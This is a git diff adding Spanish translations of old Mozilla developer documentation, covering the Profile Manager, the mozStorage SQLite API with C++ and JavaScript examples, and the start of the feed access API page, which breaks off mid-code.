+<p>El Administrador de perfiles tiene una carpeta de copia de seguridad local donde se pueden gestionar copias de seguridad del perfil. Esta es la forma más sencilla de hacer copias de seguridad y restauración de perfiles.<br> <br> Para realizar copias de seguridad de un perfil: selecciona el perfil del que deseas hacer copia de seguridad y elige la opción "copia de seguridad"-&gt;"carpeta de copia de seguridad" en el menú de Copia de seguridad e la barra de herramientas. Se creará una copia de seguridad del perfil que aparecerá en la columna de copias de seguridad en la pantalla principal:</p>
+<p><img alt="" style=""></p>
+<p><br> Para restaurar un perfil: selecciona la copia de seguridad en la pantalla principal, abre el menú contextual y elige la opción "restaurar". Cuando se restaura un perfil, la copia de seguridad se mantiene, por lo que se puede restaurar desde la misma copia de seguridad en una fecha posterior.<br> <br> Para eliminar una copia de seguridad: selecciona la copia de seguridad en la pantalla principal, abre el menú contextual y elige la opción "borrar".</p>
+<h4 id="Perfil_de_archivos"><br> Perfil de archivos</h4>
+<p>El Administrador de perfiles también puede realizar copias de seguridad y restaurar desde archivos zip. El Administrador de perfiles no hace un seguimiento de estas copias de seguridad en la interfaz de usuario, pero la utilización de archivos de perfil es una manera fácil de mover los perfiles entre diferentes equipos.<br> <br> Para realizar copias de seguridad de un perfil a un archivo: selecciona el perfil del que deseas hacer copia de seguridad y elige la opción "copia de seguridad-&gt;archivo" desde el menú Copia de seguridad de la barra de herramientas. Se te pedirá un nombre y una ubicación para el archivo.<br> <br> Para crear un perfil de un archivo de perfil: Selecciona "restaurar-&gt; archivo" desde el menú Copia de seguridad de la barra de herramientas. Se te pedirá la ubicación del archivo y luego el nombre del perfil que deseas crear desde el archivo.</p>
+<h2 id="Otras_operaciones">Otras operaciones</h2>
+<p>Al hacer clic en el menú contextual de alguno de los perfiles de la lista de perfiles aparecerá un menú emergente con los siguientes comandos:</p>
+<ul> <li><strong>Copiar</strong>: hace una copia del perfil con un nombre y la ubicación que elijas.</li> <li><strong>Eliminar</strong>: elimina el perfil y todos los archivos asociados a él.</li> <li><strong>Propiedades</strong>: muestra un cuadro de diálogo que muestra la ruta del perfil y la fecha de última modificación.</li> <li><strong>Cambiar el nombre</strong>: te permite especificar un nuevo nombre para el perfil.</li> <li><strong>Versión</strong>: te permite cambiar la versión predeterminada de la aplicación que se va a utilizar con el perfil.</li>
+</ul>
+<h2 id="Mejoras_futuras"><br> Mejoras futuras</h2>
+<ul> <li>Capacidad para instalar / desinstalar / activar / desactivar las extensiones de los perfiles.</li> <li>Posibilidad de copiar ciertos activos (por ejemplo, marcadores) entre los perfiles.</li> <li>Agregar 'Tamaño de perfil' para el cuadro de diálogo Propiedades.</li> <li>Capacidad para restablecer un perfil (devolverlo a un estado predeterminado excluyendo los marcadores y contraseñas).</li> <li>Añadir opción para especificar la ubicación de profiles.ini.</li>
+</ul>
+<p>{{ languages( { "en" : "en/Profile_Manager" } ) }}</p></a>
diff --git a/files/es/almacenamiento/index.html b/files/es/almacenamiento/index.html
new file mode 100644
index 0000000000..fc56ce3e72
--- /dev/null
+++ b/files/es/almacenamiento/index.html
@@ -0,0 +1,204 @@
+---
+title: Almacenamiento
+slug: Almacenamiento
+tags:
+  - Toolkit API
+  - para_revisar
+translation_of: Mozilla/Tech/XPCOM/Storage
+---
+<p> </p>
+<p>Almacenamiento en <a href="/es/Firefox_2_para_desarrolladores" title="es/Firefox_2_para_desarrolladores">Firefox 2</a> es un API de base de datos y una forma de respaldo en <a class="external" href="http://www.sqlite.org/">sqlite</a>. Es un recurso sólo disponible para peticiones seguras, lo que significa su uso exclusivo para código <a href="/es/Chrome" title="es/Chrome">chrome</a> y <a href="/es/Extensiones" title="es/Extensiones">extensiones</a>, no así para páginas web. Actualmente está "descongelada", lo que significa que la API está sujeta a cambiar en cualquier momento. Es probable que la API sufra algunas modificaciones entre la versión Alfa 2 y la versión final de Firefox 2, así como entre Firefox 2 y Firefox 3.</p>
+<p>Aunque a veces se confunde el Almacenamiento con el <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/almacenamiento">WHATWG DOM #scs-del-lado-del-cliente</a> (una característica de Firefox 2 que permite el almacenamiento persistente de datos) la API Almacenamiento, está reservada sólo para extensiones de autoría y componentes de Firefox.</p>
+<p>El presente documento abarca la API mozStorage y algunas peculiaridades de sqlite. No cubre SQL o el sqlite "regular". Para esos casos usted debe consultar sus manuales de SQL. Es recomendable que revise también su <a class="external" href="http://www.sqlite.org/docs.html">documentación de sqlite</a> y especialmente el <a class="external" href="http://www.sqlite.org/lang.html">lenguaje de consultas de sqlite</a>. Para acceder a la ayuda de la API mozStorage, debe consultar en mozilla.dev.apps.firefox o al servicio de informaciones en <a href="/news.mozilla.org" title="news.mozilla.org">news.mozilla.org</a>. En caso de querer reportar errores, use el <a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Toolkit&amp;component=Storage">Bugzilla</a> (Producto: "Herramientas", Componente: "Almacenamiento").</p>
+<p>Revise <a href="/es/Almacenamiento/Funcionamiento" title="es/Almacenamiento/Funcionamiento">Almacenamiento:Funcionamiento</a> para indagar sobre el buen funcionamiento de la conexión a su base de datos.</p>
+<h4 id="Comenzando">Comenzando</h4>
+<p>mozStorage está diseñada como muchos otros sistemas de bases de datos. El procedimiento general para usarlo es:</p>
+<ul> <li>Abrir una conexión a la base de datos de su elección.</li> <li>Crear las definiciones para ejecutar la conexión.</li> <li>Enlazar tantos parámetros a las definiciones como sea necesario.</li> <li>Ejecutar las definiciones.</li> <li>"Resetear" (reiniciar) las definiciones.</li>
+</ul>
+<h4 id="Abriendo_una_Conexión">Abriendo una Conexión</h4>
+<p>La primera inicialización del servicio de almacenamiento debe hacerse en el hilo principal (un "hilo" es una unidad básica de ejecución). Se producirá un error si usted lo inicializa por cualquier otro hilo. Por lo tanto, si usted quisiera usar el servicio desde otro hilo, verifique llamando al getService desde el hilo principal para asegurarse que el servicio ha sido creado.</p>
+<p>Ejemplo en C++ de la apertura de una conexión para "asdf.sqlite" en el directorio raiz del usuario:</p>
+<pre>nsCOMPtr&lt;nsIFile&gt; dbFile;
+rv = NS_GetSpecialDirectory(NS_APP_USER_PROFILE_50_DIR,
+                            getter_AddRefs(dbFile));
+NS_ENSURE_SUCCESS(rv, rv);
+rv = dbFile-&gt;Append(NS_LITERAL_STRING("asdf.sqlite"));
+NS_ENSURE_SUCCESS(rv, rv);
+
+mDBService = do_GetService(MOZ_STORAGE_SERVICE_CONTRACTID, &amp;rv);
+NS_ENSURE_SUCCESS(rv, rv);
+rv = mDBService-&gt;OpenDatabase(dbFile, getter_AddRefs(mDBConn));
+NS_ENSURE_SUCCESS(rv, rv);
+</pre>
+<p><code>MOZ_STORAGE_SERVICE_CONTRACTID</code> está definido en <code><a href="https://dxr.mozilla.org/mozilla-central/source/storage/build/mozStorageCID.h" rel="custom">storage/build/mozStorageCID.h</a></code>, y su valor es <code>"@mozilla.org/storage/service;1"</code></p>
+<p>Ejemplo en JavaScript:</p>
+<pre>var file = Components.classes["@mozilla.org/file/directory_service;1"]
+                     .getService(Components.interfaces.nsIProperties)
+                     .get("ProfD", Components.interfaces.nsIFile);
+file.append("asdf.sqlite");
+
+var storageService = Components.classes["@mozilla.org/storage/service;1"]
+                        .getService(Components.interfaces.mozIStorageService);
+var mDBConn = storageService.openDatabase(file);
+</pre>
+<dl> <dd> <div class="note">Nota: La función OpenDatabase está sujeta a cambios. Esta deberá ser destacada y simplificada al máximo para hacerla menos accesible a problemas.</div> </dd>
+</dl>
+<div class="note">Atención: Evite la tendencia a darle a su base de datos la terminación ".sdb" (por 's'qlite 'd'ata 'b'ase). Esta extensión está     reservada en Windows para una "Base de datos de Aplicación Compatible" y sus modificaciones son guardadas automáticamente como parte del sistema para restaurar su funcionalidad.</div>
+<h4 id="Crear_una_sentencia">Crear una sentencia</h4>
+<p>Existen dos formas de crear una sentencia. Si no hay parámetros y la sentencia no devuelve nada, use <code>mozIStorageConnection.executeSimpleSQL</code>.</p>
+<pre>C++:
+rv = mDBConn-&gt;ExecuteSimpleSQL(NS_LITERAL_CSTRING("CREATE TABLE foo (a INTEGER)"));
+
+JS:
+mDBConn.executeSimpleSQL("CREATE TABLE foo (a INTEGER)");
+</pre>
+<p>En otro caso, se debería componer una sentencia utilizando <code>mozIStorageConnection.createStatement</code>:</p>
+<pre>C++:
+nsCOMPtr&lt;mozIStorageStatement&gt; statement;
+rv = mDBConn-&gt;CreateStatement(NS_LITERAL_CSTRING("SELECT * FROM foo WHERE a = ?1"),
+                              getter_AddRefs(statement));
+NS_ENSURE_SUCCESS(rv, rv);
+
+JS:
+var statement = mDBConn.createStatement("SELECT * FROM foo WHERE a = ?1");
+</pre>
+<p>Este ejemplo utiliza un comodín "?1" para un parámetro que será referenciado más tarde (véase la siguiente sección).</p>
+<p>Tras componer la sentencia se pueden enlazar parámetros a ella, ejecutarla y reiniciarla una y otra vez. Si una sentencia se ejecuta muchas veces, el uso de una sentencia precompilada derivará en una mejora notable del rendimiento ya que la consulta SQL no necesita ser analizada sintácticamente cada vez.</p>
+<p>Si está familiarizado con sqlite, sabrá que las sentencias preparadas son invalidadas cuando el esquema de la base de datos cambia. Afortunadamente, mozIStorageStatement detecta el error y recompilará la sentencia según se necesite. Por tanto, una vez que se ha creado una sentencia, no es necesario preocuparse ante un cambio de esquema. Todas las sentencias continuarán trabajando de forma transparente.</p>
+<h4 id="Asignando_parámetros">Asignando parámetros</h4>
+<p>Por lo general es mejor asignar todos los parámetros por separado en lugar de intentar construir cadenas SQL al vuelo que contengan los parámetros. Entre otras cosas, esto evita ataques de inyección SQL, ya que un parámetro asignado nunca podrá ser ejecutado como SQL.</p>
+<p>Se pueden asignar parámetros cualquier sentencia que tenga comodines. Los comodines son accedidos mediante índice empezando por "?1", luego "?2"... Para asignar dichos comodines hay que usar funciones de sentencia BindXXXParameter(0) BindXXXParameter(1)...</p>
+<dl> <dd> <div class="note">Cuidado: Los índices en los comodines empiezan en 1. Los enteros pasados a las funciones de asignación cuentan desde 0. Esto significa que "?1" se corresponde al parámetro 0, "?2" al 1, etc...</div> </dd>
+</dl>
+<p>Un comodín puede aparecer múltiples veces en la cadena SQL y todas sus instancias serán reemplazadas con el valor asignado. Los parámetros no asignados se interpretarán como NULL.</p>
+<p>Las funciones de asignación disponibles en <code>mozIStorageStatement</code> (véase <code><a href="https://dxr.mozilla.org/mozilla-central/source/storage/public/mozIStorageStatement.idl" rel="custom">storage/public/mozIStorageStatement.idl</a></code>) son:</p>
+<ul> <li><code>bindUTF8StringParameter(in unsigned long aParamIndex, in AUTF8String aValue)</code></li> <li><code>bindStringParameter(in unsigned long aParamIndex, in AString aValue)</code></li> <li><code>bindDoubleParameter(in unsigned long aParamIndex, in double aValue)</code></li> <li><code>bindInt32Parameter(in unsigned long aParamIndex, in long aValue)</code></li> <li><code>bindInt64Parameter(in unsigned long aParamIndex, in long long aValue)</code></li> <li><code>bindNullParameter(in unsigned long aParamIndex)</code></li> <li><code>bindBlobParameter(in unsigned long aParamIndex, [array,const,size_is(aValueSize)] in octet aValue, in unsigned long ValueSize)</code> (para datos binarios)</li>
+</ul>
+<p>Ejemplo C++:</p>
+<pre>nsCOMPtr&lt;mozIStorageStatement&gt; statement;
+rv = mDBConn-&gt;CreateStatement(NS_LITERAL_CSTRING("SELECT * FROM foo WHERE a = ?1 AND b &gt; ?2"),
+                              getter_AddRefs(statement));
+NS_ENSURE_SUCCESS(rv, rv);
+rv = statement-&gt;BindUTF8StringParameter(0, "hello"); // "hello" will be substituted for "?1"
+NS_ENSURE_SUCCESS(rv, rv);
+rv = statement-&gt;BindInt32Parameter(1, 1234); // 1234 will be substituted for "?2"
+NS_ENSURE_SUCCESS(rv, rv);
+</pre>
+<p>Ejemplo Javascript:</p>
+<pre>var statement = mDBConn.createStatement("SELECT * FROM foo WHERE a = ?1 AND b &gt; ?2");
+statement.bindUTF8StringParameter(0, "hello");
+statement.bindInt32Parameter(1, 1234);
+</pre>
+<h4 id="Ejecutar_una_sentencia">Ejecutar una sentencia</h4>
+<p>La forma principal de ejecutar una sentencia es con <code>mozIStorageStatement.executeStep</code>. Esta función te permite enumerar todas las filas resultantes que la sentencia ha producido y te avisará cuando ya no haya más resultados.</p>
+<p>Tras llamar a <code>executeStep</code> se pueden usar las funciones <em>get</em> de mozIStorageValueArray (véase <code><a href="https://dxr.mozilla.org/mozilla-central/source/storage/public/mozIStorageValueArray.idl" rel="custom">storage/public/mozIStorageValueArray.idl</a></code>. mozIStorageStatement implementa mozIStorageValueArray. Estas funciones son:</p>
+<ul> <li><code>long getInt32(in unsigned long aIndex);</code></li> <li><code>long long getInt64(in unsigned long aIndex);</code></li> <li><code>double getDouble(in unsigned long aIndex);</code></li> <li><code>AUTF8String getUTF8String(in unsigned long aIndex);</code></li> <li><code>AString getString(in unsigned long aIndex);</code></li> <li><code>void getBlob(in unsigned long aIndex, out unsigned long aDataSize, [array,size_is(aDataSize)] out octet aData);</code> aviso: los datos serán NULL si dataSize es 0.</li> <li><code>boolean getIsNull(in unsigned long aIndex);</code> Devuelve true si la celda es NULL (distinta de cadena vacía)</li>
+</ul>
+<p>Se puede obtener el tipo de un valor con <code>mozIStorageValueArray.getTypeOfIndex</code> el cual devuelve el tipo de la columna especificada. Cuidado: sqlite no es una base de datos tipada. Se puede poner cualquier tipo en cualquier celda sin importar el tipo declarado para la columna. Si se pide un tipo diferente, sqlite hará lo que pueda para convertirlo y devolverá algún valor predeterminado si le es imposible. Por tanto, es imposible obtener errores a la hora de recuperar tipos aunque puede que te lleguen datos raros.</p>
+<p>El código de C++ puede además usar las funciones <code>AsInt32</code>, <code>AsDouble</code>, etc... que devuelven el valor como valor devuelto de C++ más apropiado. Aunque hay que tener cuidado ya que no tendrás errores si el índice es inválido. Es imposible obtener cualquier otro error debido a que sqlite siempre convertirá los tipos, incluso cuando al hacerlo dejen de tener sentido.</p>
+<p>Ejemplo C++:</p>
+<pre>PRBool hasMoreData;
+while (NS_SUCCEEDED(statement-&gt;ExecuteStep(&amp;hasMoreData)) &amp;&amp; hasMoreData) {
+  PRInt32 value = statement-&gt;AsInt32(0);
+  // use the value...
+}
+</pre>
+<p>Ejemplo Javascript:</p>
+<pre>while (statement.executeStep()) {
+  var value = statement.GetInt32(0);
+  // use the value...
+}
+</pre>
+<p><code>mozIStorageStatement.execute()</code> en una función apropiada cuando no se esperan datos al ejecutar la sentencia. Itera una vez la sentencia y la reinicia. Esto puede ser útil para sentencias de inserción ya que simplifica el código:</p>
+<pre>var statement = mDBConn.createStatement("INSERT INTO my_table VALUES (?1)");
+statement.bindInt32Parameter(52);
+statement.execute();
+</pre>
+<h4 id="Reiniciar_una_sentencia">Reiniciar una sentencia</h4>
+<p>Es importante reiniciar sentencias que ya no van a ser usadas más. Las sentencias de escritura no reiniciadas mantendrán bloqueadas las tablas e impedirán a otras sentencias acceder a ellas. Las sentencias de lectura no reiniciadas impedirán la escritura.</p>
+<p>Cuando un objeto sentencia es liberado, su sentencia de base de datos correspondiente es cerrada. Si estás usando C++ y sabes que todas las referencias serán destruidas, no tienes porque reiniciar explícitamente la sentencia. Además, si usas <code>mozIStorageStatement.execute()</code>, tampoco necesitas reiniciar explícitamente la sentencia; esta función la reiniciará por ti. En otro caso, hay que llamar a <code>mozIStorageStatement.reset()</code>.</p>
+<p>Los que utilicen JavaScript deben asegurarse de que las sentencias son reiniciadas, siendo particularmente cuidadoso con las excepciones. Seguro que querrás estar seguro de que reinicias tus sentencias incluso cuando una excepción es lanzada o de lo contrario los siguientes accesos a la base de datos no serán posibles. El reinicio de una sentencia es un proceso relativamente sencillo y no ocurrirá nada si ya estaba reiniciada, por lo que no hay que preocuparse por reinicios innecesarios.</p>
+<pre>var statement = connection.createStatement(...);
+try {
+  // uso de la sentencia...
+} finally {
+  statement.reset();
+}
+</pre>
+<p>Los que usen C++ deben de hacer lo mismo. Existe un objeto de ámbito en <code><a href="https://dxr.mozilla.org/mozilla-central/source/storage/public/mozStorageHelper.h" rel="custom">storage/public/mozStorageHelper.h</a></code> llamado mozStorageStatementScoper que asegura que una sentencia dada es reiniciada cuando se sale del ámbito al que pertenece. Es muy recomendable usar este objeto si es posible.</p>
+<pre>void someClass::someFunction()
+{
+  mozStorageStatementScoper scoper(mStatement)
+  // uso de la sentencia
+}
+</pre>
+<h4 id="Transacciones">Transacciones</h4>
+<p>mozIStorageConnection posee funciones para comenzar y finalizar transacciones. Si no se usan transacciones de modo explícito, se creará una implícita para cada sentencia. Esto tiene consecuencias más directas relacionadas con el rendimiento. Existe algo así para cada transacción, especialmente para las confirmaciones (commits). Por tanto al final se notará una mejora en el rendimiento cuando se realicen múltiples sentencias en una fila si se ponen en una transacción. Véase <a href="/es/Storage/Performance" title="es/Storage/Performance">Storage:Performance</a> para más información relacionada con el rendimiento.</p>
+<p>La gran diferencia entre otros sistemas de base de datos es que sqlite no soporta transacciones anidadas. Esto significa que una vez se ha abierto una transacción no se puede abrir otra. Se puede comprobar <code>mozIStorageConnection.transactionInProgress</code> para ver si una transacción está actualmente en progreso.</p>
+<p>También se puede ejecutar "BEGIN TRANSACTION" y "END TRANSACTION" directamente como sentencias SQL (esto es lo que hace la conexión cuando se llaman a las funciones). Sin embargo, el uso de <code>mozIStorageConnection.beginTransaction</code> y las funciones relacionadas se recomienda <em>encarecidamente</em> ya que guarda el estado de la transacción en la conexión. De otro modo el atributo <code>transacionInProgress</code> tendrá un valor erróneo.</p>
+<p>sqlite posee varios tipos de transacciones:</p>
+<ul> <li>mozIStorageConnection.TRANSACTION_DEFERRED: El predeterminado. El bloqueo de la base de datos se adquiere cuando se necesita (generalmente la primera vez que se ejecuta una sentencia en la transacción).</li>
+</ul>
+<ul> <li>mozIStorageConnection.TRANSACTION_IMMEDIATE: Obtiene un bloqueo de lectura inmediato sobre la base de datos.</li>
+</ul>
+<ul> <li>mozIStorageConnection.TRANSACTION_EXCLUSIVE: Obtiene un bloqueo de escritura inmediato sobre la base de datos.</li>
+</ul>
+<p>Se puede pasar este tipo de transacción a <code>mozIStorageConnection.beginTransactionAs</code> para determinar qué clase de transacción se necesita, teniendo en mente que si otra transacción se ha iniciado esta operación no tendrá éxito. Generalmente, el tipo predeterminado TRANSACTION_DEFERRED es suficiente y no se debería usar el resto de tipos a menos que realmente sepas por qué lo necesitas. Para más información, véase la documentación de sqlite sobre <a class="external" href="http://www.sqlite.org/lang_transaction.html">BEGIN TRANSACTION</a> y<a class="external" href="http://www.sqlite.org/lockingv3.html">bloqueos</a>.</p>
+<pre>var ourTransaction = false;
+if (mDBConn.transactionInProgress) {
+  ourTransaction = true;
+  mDBConn.beginTransactionAs(mDBConn.TRANSACTION_DEFERRED);
+}
+
+// ... uso de la conexión ...
+
+if (ourTransaction)
+  mDBConn.commitTransaction();
+</pre>
+<p>En C++ se puede usar la clase de ayuda mozStorageTransaction definida en <code><a href="https://dxr.mozilla.org/mozilla-central/source/storage/public/mozStorageHelper.h" rel="custom">storage/public/mozStorageHelper.h</a></code>. Esta clase comenzará una transacción del tipo especificado utilizando la conexión especificada cuando se alcance el ámbito y confirmará o deshará la transacción cuando salga del ámbito. Si ya había una transacción en progreso, la clase de ayuda de transacciones no hará nada.</p>
+<p>También tiene funciones para confirmaciones explícitas. El uso típico es cuando se crea la clase para que deshaga los cambios de modo predeterminado para luego confirmar explícitamente la transacción cuando el proceso haya concluido con éxito.</p>
+<pre>nsresult someFunction()
+{
+  // deferred transaction (the default) with rollback on failure
+  mozStorageTransaction transaction(mDBConn, PR_FALSE);
+
+  // ... uso de la conexión ...
+
+  // todo ha ido bien, ahora confirmamos explícitamente
+  return transaction.Commit();
+}
+</pre>
+<h4 id="Cómo_corromper_la_base_de_datos">Cómo corromper la base de datos</h4>
+<ul> <li>Léete este documento: <a class="external" href="http://www.sqlite.org/lockingv3.html">Concurrencia y bloqueo de ficheros en sqlite versión 3</a>, especialmente la sección de corrupción.</li>
+</ul>
+<ul> <li>Abriendo más de una conexión al mismo fichero con nombres que no son exactamente el mismo que determinaría <code>strcmp</code>. Esto incluye "my.db" y "../dir/my.db" o, en Windows (sin distinguir minúsculas y mayúsculas) "my.db" y "My.db". Sqlite intentará manejar muchos de estos casos, aunque no deberías fiarte de ello.</li>
+</ul>
+<ul> <li>Accediendo a una base de datos desde un enlace simbólico o duro.</li>
+</ul>
+<ul> <li>Abriendo conexiones a la misma base de datos desde más de un hilo (véase "Thread safety" más abajo).</li>
+</ul>
+<ul> <li>Accediendo a una conexión o sentencia desde más de un hilo (véase "Thread safety" más abajo).</li>
+</ul>
+<ul> <li>Abriendo la base de datos desde un programa externo cuando aún está abierta en Mozilla. El cacheo rompe el bloqueo normal de ficheros en sqlite, el cual permite que esto sea hecho de forma segura.</li>
+</ul>
+<h4 id="Seguridad_en_hilos">Seguridad en hilos</h4>
+<p>Tanto el servicio mozStorage como sqlite son seguros a nivel de hilo. Sin embargo ningún otro objeto de mozStorage o de sqlite u operación es segura.</p>
+<ul> <li>El servicio de almacenamiento debe ser creado en el hilo principal. si se quiere acceder al servicio desde otro hilo debería asegurarse que se llama a getService desde el hilo principal con antelación.</li>
+</ul>
+<ul> <li>No se puede acceder a una conexión o a una sentencia desde múltiples hilos. Dichos objetos de almacenamiento ni sus representaciones en sqlite son seguros a nivel de hilo. Incluso si se utiliza bloqueo y se asegura que sólo un único hilo está haciendo algo a la vez pueden haber problemas. Este caso no ha sido comprobado y pueden haber algún que otro estado interno para hilos en sqlite. Se recomienda encarecidamente no hacer esto.</li>
+</ul>
+<ul> <li>No se puede acceder a una única base de datos desde múltiples conexiones desde diferentes hilos. Normalmente sqlite permite esto. Sin embargo, nosotros hacemos <code>sqlite3_enable_shared_cache(1);</code> (véase <a class="external" href="http://www.sqlite.org/sharedcache.html">modo compartido de caché en sqlite</a>) el cual crea múltiples compartidas a la misma caché. Esto es importante para el rendimiento, sin embargo no existe bloqueo para el acceso a la caché, lo que significa que se romperá si se usa desde más de un hilo.</li>
+</ul>
+<h4 id="Bloqueo_en_SQLite">Bloqueo en SQLite</h4>
+<p>SQLite bloquea por completo la base de datos, es decir, se devolverá un SQLITE_BUSY a aquellos que estén leyendo e intenten escribir y lo mismo ocurrirá con aquellos que estén escribiendo e intenten leer. Una sentencia se considera activa desde el primer step() hasta que reset() es llamado. execute() llama tanto a step() como a reset(). Un problema común ocurre cuando se olvida reiniciar con reset() una sentencia después de haberla iterado con step().</p>
+<p>Mientras que una conexión SQLite dada es capaz de manejar múltiples sentencias abiertas, su modelo de bloqueo limita lo que dichas sentencias pueden hacer concurrentemente (leer o escribir). De hecho es posible que múltiples sentencias estén activas leyendo a la vez. Sin embargo no es posible que múltiples sentencias estén leyendo y escribiendo a la vez <em>en la misma tabla</em>, incluso si son derivadas de la misma conexión.</p>
+<p>SQLite posee un modelo de bloqueo a dos niveles: a nivel de conexión y a nivel de tabla. La mayoría de la gente estará familiarizada con el bloqueo a nivel de conexión (base de datos): múltiples lectores aunque sólo un escritor. Lo que bloquea el nivel de tabla (Árbol-B) es lo que puede a veces ser confundido (internamente, cada tabla en la base de datos posee su propio Árbol-B, por lo que "tabla" y "Árbol-B" son técnicamente sinónimos).</p>
+<h5 id="Bloqueo_a_nivel_de_tabla">Bloqueo a nivel de tabla</h5>
+<p>Se podría pensar que si sólo se tiene una conexión y se bloquea la base de datos para escritura, se podrían usar múltiples sentencias para hacer todo lo que se quisiera. No del todo cierto. Hay que ser consciente del bloqueo a nivel de tabla (Árbol-B) el cual es mantenido por manejadores de sentencias a través de la base de datos (p.e. sentencias SELECT abiertas).</p>
+<p>La regla general es esta: un manejador de sentencia puede <strong>no</strong> modificar una tabla (Árbol-B) la cual otros manejadores de sentencia están leyendo (tienen abiertos cursores sobre ella), incluso si ese manejador de sentencia comparte la misma conexión (contexto de transacción, bloqueo de base de datos, etc...) con otros manejadores de sentencias. <em>Intentar hacerlo provocará el bloqueo (o devolverá SQLITE_BUSY)</em>.</p>
+<p>Este problema generalmente aparece cuando se intenta iterar una tabla con una sentencia y modificar registros dentro de ella utilizando otra sentencia. Esto no funcionará (o conlleva una alta probabilidad de no funcionar, dependiendo de la implicación del optimizador (véase más abajo)). La sentencia de modificación provocará bloqueo ya que la sentencia de lectura tiene un cursor abierto en la tabla.</p>
+<h5 id="Trabajar_con_problemas_de_bloqueo">Trabajar con problemas de bloqueo</h5>
+<p>La solución es seguir (1) como se describe arriba. Teóricamente, (2) realmente no debería funcionar con SQLite 3.x. En este escenario, el bloqueo de la base de datos entra en juego (con múltiples conexiones) además del bloque de la tabla. La conexión 2 (conexión de modificación) no será capaz de modificar (escribir) en la base de datos mientras que la conexión 1 esté leyendo. La conexión 2 necesita un acceso exclusivo para ejecutar un comando SQL de modificación, acceso que no puede obtener mientras la conexión 1 tenga sentencias activas leyendo la base de datos (la conexión 1 posee un bloque de lectura compartido durante este tiempo el cual prohibe a cualquier otra conexión obtener un acceso exclusivo).</p>
+<p>Otra opción es usar una tabla temporal. Crear una tabla temporal que contenga los resultados de la tabla en cuestión, iterarla (poniendo el bloqueo de la tabla de la sentencia de lectura en la tabla temporal) para que luego la sentencia de modificación pueda hacer cambios en la tabla real sin ningún problema. Esto puede ser hecho con sentencias derivadas de una única conexión (contexto de transacción). Este escenario a veces sucede en segundo plano ya que cosas como ORDER BY pueden producir tablas temporales internamente. Sin embargo, no es seguro asumir que el optimizador hará esto en todos los casos. Crear una tabla temporal explícitamente es la única forma segura de realizar esta última opción.</p>
+
+<p></p>
diff --git a/files/es/api_de_acceso_a_canales/index.html b/files/es/api_de_acceso_a_canales/index.html
new file mode 100644
index 0000000000..7c21ceb776
--- /dev/null
+++ b/files/es/api_de_acceso_a_canales/index.html
@@ -0,0 +1,166 @@
+---
+title: API de acceso a canales
+slug: API_de_acceso_a_canales
+tags:
+  - Complementos
+  - Todas_las_Categorías
+  - extensiones
+translation_of: Mozilla/Tech/Feed_content_access_API
+---
+<p><a href="/es/Firefox_2_para_desarrolladores" title="es/Firefox_2_para_desarrolladores">Firefox 2</a> y Thunderbird 2 introducen una serie de interfaces que  hacen más sencillo que los autores de extensiones accedan a los canales RSS y Atom.</p>
+<h2 id="Interfaces_del_canal" name="Interfaces_del_canal">Interfaces del canal</h2>
+<dl>
+  <dt>
+    <code><a href="/es/NsIFeed" title="es/NsIFeed">nsIFeed</a></code></dt>
+  <dd>
+    Representa un canal RSS o Atom.</dd>
+  <dt>
+    <code><a href="/es/NsIFeedContainer" title="es/NsIFeedContainer">nsIFeedContainer</a></code></dt>
+  <dd>
+    Una clase básica subclasificada por varias interfaces relacionadas al canal.</dd>
+  <dt>
+    <code><a href="/es/NsIFeedElementBase" title="es/NsIFeedElementBase">nsIFeedElementBase</a></code></dt>
+  <dd>
+    Una clase básica subclasificada por varias de las otras interfaces relacionadas con el canal.</dd>
+  <dt>
+    <code><a href="/es/NsIFeedEntry" title="es/NsIFeedEntry">nsIFeedEntry</a></code></dt>
+  <dd>
+    Representa una única entrada en un canal RSS o Atom.</dd>
+  <dt>
+    <code><a href="/es/NsIFeedGenerator" title="es/NsIFeedGenerator">nsIFeedGenerator</a></code></dt>
+  <dd>
+    Describe el programa que generó un canal RSS o Atom.</dd>
+  <dt>
+    <code><a href="/es/NsIFeedPerson" title="es/NsIFeedPerson">nsIFeedPerson</a></code></dt>
+  <dd>
+    Representa a una persona. Contiene el nombre de la persona, la dirección de correo electrónico, y la dirección de la página personal.</dd>
+  <dt>
+    <code><a href="/es/NsIFeedProcessor" title="es/NsIFeedProcessor">nsIFeedProcessor</a></code></dt>
+  <dd>
+    Analiza canales RSS y Atom.</dd>
+  <dt>
+    <code><a href="/es/NsIFeedProgressListener" title="es/NsIFeedProgressListener">nsIFeedProgressListener</a></code></dt>
+  <dd>
+    Implementada por el programa que quiere analizar un canal RSS o Atom, para recibir mensajes durante el proceso de análisis.</dd>
+  <dt>
+    <code><a href="/es/NsIFeedResult" title="es/NsIFeedResult">nsIFeedResult</a></code></dt>
+  <dd>
+    Describe el resultado al analizar un canal.</dd>
+  <dt>
+    <code><a href="/es/NsIFeedResultListener" title="es/NsIFeedResultListener">nsIFeedResultListener</a></code></dt>
+  <dd>
+    Implementado por el programa que quiere analizar un canal RSS o Atom para recibir avisos cuando el análisis se complete.</dd>
+  <dt>
+    <code><a href="/es/NsIFeedTextConstruct" title="es/NsIFeedTextConstruct">nsIFeedTextConstruct</a></code></dt>
+  <dd>
+    Representa valores de texto en un canal; incluye funciones que permiten traer el texto como texto sin formato o como HTML.</dd>
+  <dt>
+    <code><a href="/es/NsIScriptableUnescapeHTML" title="es/NsIScriptableUnescapeHTML">nsIScriptableUnescapeHTML</a></code></dt>
+  <dd>
+    Una clase de utilidad que elimina las secuencias de escape de las cadenas HTML.</dd>
+</dl>
+<h2 id="Ejemplo:_Leer_un_canal_de_la_Web" name="Ejemplo:_Leer_un_canal_de_la_Web">Ejemplo: Leer un canal de la Web</h2>
+<p>Realmente es bastante fácil leer y analizar un canal: Usa un <code><a href="/es/XMLHttpRequest" title="es/XMLHttpRequest">XMLHttpRequest</a></code> para cargar el canal, y luego pasa su cadena a un <code><a href="/es/NsIFeedProcessor" title="es/NsIFeedProcessor">nsIFeedProcessor</a></code> para analizarlo.</p>
+<p>Cargar el canal y enviarlo al analizador sintáxtico se hace usando un código similar a éste:</p>
+<pre>  fetch: function(feedUrl)
+  {
+    var httpRequest = null;
+
+    function infoReceived() {
+      var data = httpRequest.responseText;
+
+      var ioService = Components.classes['@mozilla.org/network/io-service;1']
+                                         .getService(Components.interfaces.nsIIOService);
+      var uri = ioService.newURI(feedUrl, null, null);
+
+      if (data.length) {
+        var parser = Components.classes["@mozilla.org/feed-processor;1"]
+                                        .createInstance(Components.interfaces.nsIFeedProcessor);
+        var listener = new FeedTestResultListener();
